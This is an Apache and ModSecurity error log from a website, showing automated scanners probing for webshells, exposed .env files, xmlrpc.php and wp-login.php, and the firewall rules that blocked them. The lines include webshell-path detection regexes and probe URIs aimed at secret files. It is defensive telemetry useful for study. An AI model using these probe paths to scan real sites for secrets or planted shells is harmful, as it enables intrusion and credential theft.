[Wed Dec 31 22:23:29.797905 2025] [:error] [pid 7576:tid 7599] [client 158.158.121.220:13331] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aVUx4aFUpQkpGJNxC__bNwAAAVU"]
[Wed Dec 31 22:23:31.805001 2025] [:error] [pid 48713:tid 48724] [client 158.158.121.220:13356] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aVUx40yNMVAGtWvMliP-uQAAAMY"]
[Wed Dec 31 22:23:33.386820 2025] [:error] [pid 64406:tid 64432] [client 158.158.121.220:13433] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aVUx5SLRcJYP7e7OhBY0QgAAARg"]
[Wed Dec 31 22:23:36.067115 2025] [:error] [pid 48715:tid 48788] [client 158.158.121.220:13342] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aVUx6GamQpQY7KfuoW12DgAAAJA"]
[Wed Dec 31 22:23:37.599050 2025] [:error] [pid 7576:tid 7578] [client 158.158.121.220:13373] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aVUx6aFUpQkpGJNxC__bOwAAAUA"]
[Wed Dec 31 22:23:39.536344 2025] [proxy_fcgi:error] [pid 48713:tid 48738] [client 158.158.121.220:13400] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:39.910236 2025] [proxy_fcgi:error] [pid 48713:tid 48720] [client 158.158.121.220:13400] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:40.187198 2025] [proxy_fcgi:error] [pid 48713:tid 48722] [client 158.158.121.220:13400] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:40.713401 2025] [proxy_fcgi:error] [pid 48713:tid 48728] [client 158.158.121.220:13400] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:40.982636 2025] [:error] [pid 48713:tid 48726] [client 158.158.121.220:13400] [client 158.158.121.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aVUx7EyNMVAGtWvMliP-wQAAAMg"]
[Wed Dec 31 22:23:43.412902 2025] [proxy_fcgi:error] [pid 7576:tid 7595] [client 158.158.121.220:13411] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:43.654678 2025] [proxy_fcgi:error] [pid 7576:tid 7590] [client 158.158.121.220:13411] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:43.901160 2025] [proxy_fcgi:error] [pid 7576:tid 7585] [client 158.158.121.220:13411] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:44.144189 2025] [proxy_fcgi:error] [pid 7576:tid 7604] [client 158.158.121.220:13411] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:44.386939 2025] [:error] [pid 7576:tid 7587] [client 158.158.121.220:13411] [client 158.158.121.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.158.121.220, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVUx8KFUpQkpGJNxC__bQwAAAUk"]
[Wed Dec 31 22:23:44.391513 2025] [proxy_fcgi:error] [pid 7576:tid 7587] [client 158.158.121.220:13411] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:44.633305 2025] [proxy_fcgi:error] [pid 7576:tid 7598] [client 158.158.121.220:13411] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 22:23:44.875561 2025] [:error] [pid 7576:tid 7602] [client 158.158.121.220:13411] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aVUx8KFUpQkpGJNxC__bRQAAAVY"]
[Wed Dec 31 22:23:45.864323 2025] [:error] [pid 64406:tid 64417] [client 158.158.121.220:13321] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aVUx8SLRcJYP7e7OhBY0SwAAAQk"]
[Wed Dec 31 22:23:47.925576 2025] [:error] [pid 7576:tid 7599] [client 158.158.121.220:13360] [client 158.158.121.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aVUx86FUpQkpGJNxC__bRwAAAVU"]
[Wed Dec 31 23:26:28.801671 2025] [:error] [pid 8068:tid 8087] [client 35.243.133.240:50958] [client 35.243.133.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.133.240, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVVApCSVtzoWnijCxFaR6AAAAdE"]
[Wed Dec 31 23:26:28.812006 2025] [proxy_fcgi:error] [pid 8068:tid 8087] [client 35.243.133.240:50958] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 23:26:31.474179 2025] [:error] [pid 8068:tid 8080] [client 35.243.133.240:50958] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aVVApySVtzoWnijCxFaR-AAAAco"]
[Wed Dec 31 23:26:32.096000 2025] [:error] [pid 48833:tid 48847] [client 35.243.133.240:56862] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aVVAqGPnRNOqqZ1OQg8SGgAAAEw"]
[Wed Dec 31 23:26:32.667596 2025] [:error] [pid 48833:tid 48843] [client 35.243.133.240:56236] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aVVAqGPnRNOqqZ1OQg8SHAAAAEg"]
[Wed Dec 31 23:26:33.189937 2025] [:error] [pid 7576:tid 7589] [client 35.243.133.240:55142] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aVVAqaFUpQkpGJNxC__mNwAAAUs"]
[Wed Dec 31 23:26:33.782282 2025] [:error] [pid 48833:tid 48854] [client 35.243.133.240:57308] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aVVAqWPnRNOqqZ1OQg8SIAAAAFM"]
[Wed Dec 31 23:26:34.244476 2025] [:error] [pid 7576:tid 7585] [client 35.243.133.240:56219] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aVVAqqFUpQkpGJNxC__mOgAAAUc"]
[Wed Dec 31 23:26:34.885400 2025] [:error] [pid 7576:tid 7602] [client 35.243.133.240:56238] [client 35.243.133.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aVVAqqFUpQkpGJNxC__mPAAAAVY"]
[Thu Jan 01 01:55:59.992583 2026] [:error] [pid 7576:tid 7586] [client 57.131.35.166:44786] [client 57.131.35.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/robots.txt"] [unique_id "aVVjr6FUpQkpGJNxC__-ngAAAUg"]
[Thu Jan 01 03:28:41.536852 2026] [:error] [pid 28473:tid 28584] [client 14.225.74.9:51112] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aVV5aZad3fuMUW4M_5i4SAAAAFQ"]
[Thu Jan 01 03:28:41.874925 2026] [:error] [pid 28472:tid 28560] [client 14.225.74.9:60392] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aVV5aVJGXcDN_CWETkvsIQAAABg"]
[Thu Jan 01 03:28:42.618129 2026] [:error] [pid 28474:tid 28592] [client 14.225.74.9:51124] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aVV5alXFbDzo2FOp0YQxSgAAAIE"]
[Thu Jan 01 03:28:43.011216 2026] [:error] [pid 28472:tid 28549] [client 14.225.74.9:60402] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aVV5a1JGXcDN_CWETkvsIwAAAA0"]
[Thu Jan 01 03:28:43.629427 2026] [:error] [pid 28473:tid 28572] [client 14.225.74.9:51126] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/blog/.env"] [unique_id "aVV5a5ad3fuMUW4M_5i4SgAAAEg"]
[Thu Jan 01 03:28:43.942920 2026] [:error] [pid 28473:tid 28576] [client 14.225.74.9:46854] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/blog/.env"] [unique_id "aVV5a5ad3fuMUW4M_5i4SwAAAEw"]
[Thu Jan 01 03:28:44.568081 2026] [:error] [pid 28474:tid 28614] [client 14.225.74.9:47044] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aVV5bFXFbDzo2FOp0YQxTQAAAJc"]
[Thu Jan 01 03:28:44.875201 2026] [:error] [pid 28474:tid 28610] [client 14.225.74.9:46870] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aVV5bFXFbDzo2FOp0YQxTgAAAJM"]
[Thu Jan 01 03:28:45.533925 2026] [:error] [pid 28474:tid 28608] [client 14.225.74.9:47052] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/laravel/.env"] [unique_id "aVV5bVXFbDzo2FOp0YQxTwAAAJE"]
[Thu Jan 01 03:28:45.867250 2026] [:error] [pid 28474:tid 28603] [client 14.225.74.9:46876] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/laravel/.env"] [unique_id "aVV5bVXFbDzo2FOp0YQxUgAAAIw"]
[Thu Jan 01 03:28:46.562972 2026] [:error] [pid 28473:tid 28574] [client 14.225.74.9:47054] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/docs/.env"] [unique_id "aVV5bpad3fuMUW4M_5i4TAAAAEo"]
[Thu Jan 01 03:28:46.893499 2026] [:error] [pid 28472:tid 28545] [client 14.225.74.9:46888] [client 14.225.74.9] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/docs/.env"] [unique_id "aVV5blJGXcDN_CWETkvsJAAAAAk"]
[Thu Jan 01 11:15:03.139843 2026] [:error] [pid 58818:tid 58870] [client 104.28.214.54:28639] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aVXmt2r6b3Nsqkrqu80eAwAAAFE"]
[Thu Jan 01 11:15:12.860620 2026] [:error] [pid 58819:tid 58883] [client 104.28.214.54:27972] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/style.php"] [unique_id "aVXmwBMbLE49waxUJzP0mAAAAIM"]
[Thu Jan 01 11:15:22.565792 2026] [:error] [pid 32337:tid 32360] [client 104.28.214.54:48358] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aVXmyrTSw8DLIoJg6HiEXAAAAVU"]
[Thu Jan 01 11:15:32.275533 2026] [:error] [pid 58924:tid 58934] [client 104.28.214.54:48313] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/style.php"] [unique_id "aVXm1DYXM8NvhWQPUGsEmQAAAMg"]
[Thu Jan 01 11:15:32.981369 2026] [:error] [pid 58370:tid 58387] [client 104.28.214.54:48314] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style.php"] [unique_id "aVXm1DkIHVNixymRHHdGvAAAAQ8"]
[Thu Jan 01 11:15:42.686429 2026] [:error] [pid 58818:tid 58868] [client 104.28.214.54:22292] [client 104.28.214.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aVXm3mr6b3Nsqkrqu80ejQAAAE8"]
[Thu Jan 01 16:57:28.388727 2026] [:error] [pid 26614:tid 26660] [client 203.147.134.89:15813] [client 203.147.134.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.147.134.89, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVY2-Bdl23_Mbe-Eo9gsuwAAAIg"]
[Thu Jan 01 16:57:28.402965 2026] [proxy_fcgi:error] [pid 26614:tid 26660] [client 203.147.134.89:15813] AH01071: Got error 'Primary script unknown'
[Thu Jan 01 16:57:53.348886 2026] [:error] [pid 26614:tid 26671] [client 111.88.14.41:50902] [client 111.88.14.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.88.14.41, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVY3ERdl23_Mbe-Eo9gs0AAAAJM"]
[Thu Jan 01 16:57:53.359853 2026] [proxy_fcgi:error] [pid 26614:tid 26671] [client 111.88.14.41:50902] AH01071: Got error 'Primary script unknown'
[Thu Jan 01 19:28:46.494827 2026] [:error] [pid 63888:tid 63928] [client 134.185.88.247:53075] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZabtoJ3YkVCYrOT1z_ZQAAAIk"]
[Thu Jan 01 19:28:46.505966 2026] [proxy_fcgi:error] [pid 63888:tid 63928] [client 134.185.88.247:53075] AH01071: Got error 'Primary script unknown'
[Thu Jan 01 19:28:46.886695 2026] [:error] [pid 63981:tid 63984] [client 134.185.88.247:53589] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZabs5Wjyl5tWjDt5KhCAAAAMA"], referer: https://duckduckgo.com/
[Thu Jan 01 19:28:46.891717 2026] [proxy_fcgi:error] [pid 63981:tid 63984] [client 134.185.88.247:53589] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Jan 01 19:28:47.988438 2026] [:error] [pid 63887:tid 63896] [client 134.185.88.247:54047] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZabzYeTZeQR8aqQeVaJAAAAEU"]
[Thu Jan 01 19:28:47.993252 2026] [proxy_fcgi:error] [pid 63887:tid 63896] [client 134.185.88.247:54047] AH01071: Got error 'Primary script unknown'
[Thu Jan 01 19:28:48.357231 2026] [:error] [pid 63889:tid 63965] [client 134.185.88.247:54671] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZacNU3sRpsUcz9MOBclAAAABM"], referer: https://www.google.com/
[Thu Jan 01 19:28:48.362742 2026] [proxy_fcgi:error] [pid 63889:tid 63965] [client 134.185.88.247:54671] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Jan 01 19:39:24.578508 2026] [:error] [pid 63889:tid 63960] [client 134.185.88.247:51387] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZc7NU3sRpsUcz9MOBf3wAAAA4"]
[Thu Jan 01 19:39:24.588664 2026] [proxy_fcgi:error] [pid 63889:tid 63960] [client 134.185.88.247:51387] AH01071: Got error 'Primary script unknown'
[Thu Jan 01 19:39:24.953538 2026] [:error] [pid 63981:tid 63989] [client 134.185.88.247:51991] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZc7M5Wjyl5tWjDt5KlLwAAAMU"]
[Thu Jan 01 19:39:24.958192 2026] [proxy_fcgi:error] [pid 63981:tid 63989] [client 134.185.88.247:51991] AH01071: Got error 'Primary script unknown'
[Thu Jan 01 19:39:25.870833 2026] [:error] [pid 63888:tid 63933] [client 134.185.88.247:52361] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZc7doJ3YkVCYrOT1wCKQAAAI4"], referer: https://duckduckgo.com/
[Thu Jan 01 19:39:25.875282 2026] [proxy_fcgi:error] [pid 63888:tid 63933] [client 134.185.88.247:52361] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Jan 01 19:39:26.241098 2026] [:error] [pid 995:tid 1023] [client 134.185.88.247:52829] [client 134.185.88.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.185.88.247, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVZc7mJVFefxwdkvFzjVBQAAARg"], referer: https://t.co/
[Thu Jan 01 19:39:26.245889 2026] [proxy_fcgi:error] [pid 995:tid 1023] [client 134.185.88.247:52829] AH01071: Got error 'Primary script unknown', referer: https://t.co/
[Thu Jan 01 23:55:14.265102 2026] [:error] [pid 995:tid 1004] [client 207.154.212.163:57801] [client 207.154.212.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.154.212.163, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVaY4mJVFefxwdkvFzgwmQAAAQY"]
[Thu Jan 01 23:55:14.279932 2026] [proxy_fcgi:error] [pid 995:tid 1004] [client 207.154.212.163:57801] AH01071: Got error 'Primary script unknown'
[Fri Jan 02 06:05:25.570251 2026] [:error] [pid 63099:tid 63145] [client 191.96.67.12:44636] [client 191.96.67.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aVbvpcmCZokRPYUhzvgbcgAAAEs"]
